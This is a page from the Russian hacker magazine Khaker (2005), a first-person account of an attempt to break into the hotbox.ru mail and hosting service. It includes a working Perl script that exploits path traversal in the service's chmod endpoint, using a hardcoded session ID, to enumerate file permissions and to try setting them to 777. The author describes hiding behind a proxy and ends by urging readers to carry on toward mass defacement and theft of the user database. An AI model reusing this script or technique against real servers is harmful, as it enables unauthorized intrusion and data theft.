Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #73, ЯНВАРЬ 2005 г.

Как я ломал hotbox.ru

Master-lame-master

Хакер, номер #073, стр. 073-044-4


Скрипт, проверяющий права на файлы

#!/usr/bin/perl

use Socket;

use IO::Handle;

$host="hosting.hotbox.ru";

$template="/auth1.php?action=chmod&wdir=/../../../../../usr/local/hotbox/www/tmp/&file=/../../../../../usr/local/hotbox/www/webbuilder/[here]&sess_id=N15d2f1bd2a424ec923e267154dce388"; # Для каждого файла – своя ссылка

open(FILE,"authadd.lib");

@files=<FILE> ;

close(FILE); # Обработаем документ с файлами

foreach(@files){

chomp;

$get=$template;

$get=~s/\[here\]/$_/g;

print $_." ".get($host,$get)."\n"; # Произведем замену и вызов процедуры get для каждого файла

}

sub get {

my ($url,$dir)=@_;

my $host=inet_aton($url) or return 1;

socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n";

my $dest_addr=sockaddr_in(80,$host);

connect(SOCK,$dest_addr) or return 3;

SOCK-> autoflush(1); # Создадим сокет

print SOCK qq{GET $dir HTTP/1.1\r

Host: $host\r

Pragma: no-cache\r

Cache-Control: no-cache\r

Connection: close\r\n\r\n}; # Пишем в него данные

sysread(SOCK,$data,14000); # Читаем данные

$data=~/<h4> (.*)<\/h4> /; # И выписываем атрибуты файла

$ans=$1;

close(SOCK);

return $ans; # Возвращаем результат

}

При тестировании сценария я долго не мог понять, почему он не показывает атрибуты. Дело в том, что для хакерской деятельности мне приходилось применять проксик, а скрипт я запускал с другого шелла. Естественно, что идентификатор не принимался сервером. Чтобы решить проблему, я заюзал продуктивный сценарий с компьютера, где располагался мой прокси-сервер. Только тогда он показал права для всех файлов.

Но и этот скрипт не решил поставленную задачу. Ни один из обработанных файлов не имел прав 666 и 777. Тогда мне в голову пришла другая идея – я решил модифицировать сценарий, чтобы он перед показом прав пытался их изменить. Представь, что по какой-то причине в каталоге находится файл, принадлежащий nobody. В этом случае скрипт, запускающийся от nobody, успешно изменит атрибуты на желаемые. Чтобы проследить такую ситуацию, я добавил в сценарий дополнительный запрос с параметрами owner=7&group=7&public=7&confirm=1. Наличие этих опций заставляет скрипт поменять права на 777. После попытки изменения вызывается процедура get, просматривающая текущие атрибуты. В случае если последние равны трем семеркам, владелец файла – nobody.

Злосчастный финал

Не буду тебя мучить бредовыми идеями :). Скажу лишь, что финт с изменением прав не привел ни к чему хорошему – я не обнаружил ни одного скрипта, которым владеет nobody. Таким образом, помучившись с недельку, я забил на HotBox. Администрация сервиса так и не помогла возвратить ящик, и мне пришлось смириться с мыслью, что это мыло уже никогда ко мне не вернется. Несмотря на это, я сделал для себя вывод: в любой системе при желании можно найти баг. Даже если брешь маленькая, никто не запрещает копать глубже, опираясь на мелкую уязвимость. Возможно, с ее помощью удастся найти дырочку покрупнее, которая приведет, например, к массовому дефейсу. А если совсем постараться, то реально засечь масштабный баг и унести базу данных по пользователям сервиса. У меня не хватило стремления, чтобы добиться этой цели. Но немаловероятно, найдется человек, который доведет мое дело до конца :).

Назад на стр. 073-044-3  Содержание  Вперед на стр. 073-044-5